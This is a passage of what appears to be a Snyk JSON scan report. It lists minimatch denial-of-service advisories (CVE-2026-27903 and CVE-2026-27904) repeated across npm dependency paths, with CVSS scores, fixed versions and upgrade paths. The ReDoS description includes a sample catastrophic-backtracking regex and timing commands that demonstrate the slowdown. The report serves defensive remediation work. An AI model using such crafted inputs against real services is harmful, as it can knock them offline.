"npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 